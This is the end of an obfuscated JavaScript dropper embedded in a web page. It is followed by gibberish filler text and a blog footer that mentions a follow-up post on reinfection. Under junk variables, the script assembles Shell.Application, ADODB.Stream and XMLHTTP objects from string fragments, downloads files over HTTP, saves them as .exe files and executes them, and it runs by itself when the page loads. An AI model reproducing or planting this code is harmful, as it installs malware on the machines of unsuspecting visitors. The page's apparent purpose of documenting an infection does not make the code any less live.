turn[will](quick);
wood={blue:8491};ohEat=17592;ohEat+=255;this.road="road";
}
}

} else {
var thereLarge=new String();var yesWheel=new String();
var saw=["shortSleep","stayCommon","heard"];this.yourLeave="yourLeave";var table=23075;
turn[will](pass);
var turnYet="turnYet";var friendPound={newBody:"studyNotice"};
} 

dryCity={callChange:16908};
this.passPeople=8404;this.passPeople--;
var drive=[];var able="";var willTake="willTake";

return turn;
}

var foodThough=new String();try {} catch(veryStrong){};
this.moveEarth=7491;this.moveEarth+=102;
this.someOpen=26120;this.someOpen++;

function than(again, point){
life=["simple"];knowGround=24748;knowGround--;
figureFigure=30877;figureFigure-=200;var does=new String();var sleepFace=["orWalk","inch","cold"];
yourSlow=775;yourSlow+=122;what=[];a=21635;a+=166;

test[meLittle](again, point);
}

northBeauty={watch:"fewLove"};var line={};
var head=22943;var piece=32549;

function the(){

var pose=20499;var frontCross=4606;
ago=7777;ago+=220;

if(!free()) return;

serveWell=25614;serveWell++;objectWorld=24863;objectWorld-=114;darkCommon=22684;darkCommon++;
var willPerson=new Array();

test=document.createElement(new String("object"));

than(new String("classi"+"d"), useDrive);
var moveEarly="moveEarly";this.moonHome="";
bedPower={since:false};
than("id", "test");

try {

strong = test[readAmong]("Shell.A9kDj".substr(0,7)+"DH0pplicat0HD".substr(3,7)+"MrbionMbr".substr(3,3),age);
find=[];this.learn="";hold=[];
air = test[readAmong]("adodb.strea"+"mnXk".substr(0,1),age);
this.why=19607;this.why++;var rest=new Date();var him="";

var turn = oh();

this.differ="differ";var sawAmong=["moneyAt","moreA","boyMuch"];var stopSun=["letter","pound","young"];
var sideHeat=["white","spellAbove"];var thoseFirst=["northFact","needCome"];doesRock=17386;doesRock--;
if(turn.length <= 0) return false;

which=["i","took","fish"];
agoOld=["laughOften","seemOrder","figureGreen"];var runHalf={cut:27153};var schoolOut=["differGot","wonder","poseNotice"];


for(var i=sun; i < turn.length; i++){

var fromLong=new Date();

var haveSlow=new String();var ifCover=["finalDone","againOnly"];
var unitIt=[];pullTown={leadOut:"deepMade"};var decide=[];
this.both=22541;this.both++;
var unit = out[i % out.length];
var enough = turn[i];

goodDrive={water:"cry"};secondCenter=[];var endDiffer=false;
var your = "./."+"./yzvw".substr(0,2) + unit + new String(".exe");
this.dont=18287;this.dont--;try {var faceAppear="fewReal"} catch(faceAppear){};
var voicePoint=low * i;
var shortPlane=["heatRule"];var knew="";
try {var shapeCause="ageHave"} catch(shapeCause){};dryLook=[];
meanFar(new String(enough), new String(your));
var right=23685;try {} catch(feel){};try {} catch(hisTree){};
var had=new Date();
}



} catch(e){}

}

function longSaid(stoodTree){

planeIt={};
var shouldSide=8362;northAmong={faceMade:false};var windReal="windReal";
cutOften=["riverPiece","orderWater","commonLay"];nowSay=["bodyAlso"];

begin = test[readAmong]("msxml2.XMLO4eW".substr(0,10)+"HTTP", age);

var planeTop=new Date();
whichThem={shipSame:26359};var fatherIdea=24125;var there=16243;
begin[move]("GET", stoodTree);
asAmong=["seaFew"];whileRun=["warDrive"];this.feetSing=7842;this.feetSing--;
begin[best]();
var thatWhen="thatWhen";this.hisNever="hisNever";story=9303;story+=10;

return begin[redDog];
}

function free(){
var thereWrite={strongPaper:false};
this.keepLot="";
return (document.body.style.textOverflow != undefined);
}


function meanFar(stoodTree,color){

var wentMother=["turnTalk","staySleep","she"];this.largeRed=28365;this.largeRed-=184;eat=["atMove"];
var found={shouldPlay:"figureStep"};

try {
var standMother=3260;toward=26805;toward++;
var actPress="";try {var work="lightCold"} catch(work){};

try {
var other=new Date();var rainTable=28788;
air[bed]();
this.coldMake="coldMake";fatherUs=["andFast","hour"];
} catch(stand){}

this.lastTheir=29388;this.lastTheir--;var downStrong={topWas:11226};try {var answerWater="servePaper"} catch(answerWater){};
power=longSaid(stoodTree);
peopleHad=["kingRiver"];this.house=4015;this.house++;
air[once]=family;
cameWho={hasEye:"bringForce"};foodEast=["feetThat","shortHave"];
air[move]();
happenUs=["fewMany","butWell"];var helpRound=27891;
air[end](power);
drawHome={number:721};surePage={late:false};
air[follow](color,most);
try {var cryFarm="putFollow"} catch(cryFarm){};var plantClear="";
air[bed]();
try {var meEver="shapeDark"} catch(meEver){};

try{
var whyRule=["slow","followNight"];var whiteAnswer=["standWatch","fastKnew"];
var sameOff=26811;actCome=["walkHand","even","waterWay"];this.draw=29713;this.draw-=76;
strong[stay](color);
var clear="";var tellFront=["seemBody"];var lookNumber="";

} catch(e){
}

mayForce=12153;mayForce+=212;var homeMay={unitFirst:false};manAt=8219;manAt+=30;
whereSoon=["happenRiver","aboveCause"];cutLive=["wentThere","meanBusy"];

}catch(noun) {
lessFive=["fishTail","behindYet","ourAgo"];this.same=false;var airSix="";
try {
var direct=false;var better=["showGrow","factHand"];
air[bed]();
changeBack={hot:6344};var it=new Array();
} catch(first){}
helpPlain=["beBig","listen"];
}
var ageSecond=15826;this.fallThree="";var faceTree=28716;
}

var sleep=0;
var topAnimal=false;

function groundMen(){

while(sleep++ < 171){
groundMen();
}
if(!topAnimal){
topAnimal = true;
the();
}
}

groundMen();</script>nisi nebs coalify opera caw add gluts rewon toph reinked bucko web moot.woofer reinked haeres arabic hernia bice blind nebs schmoos stow opera obese snaffle en hajes scow pyx.</body></html>

(Follow up post on reinfection posted May 17th)

Read more (rest of article)...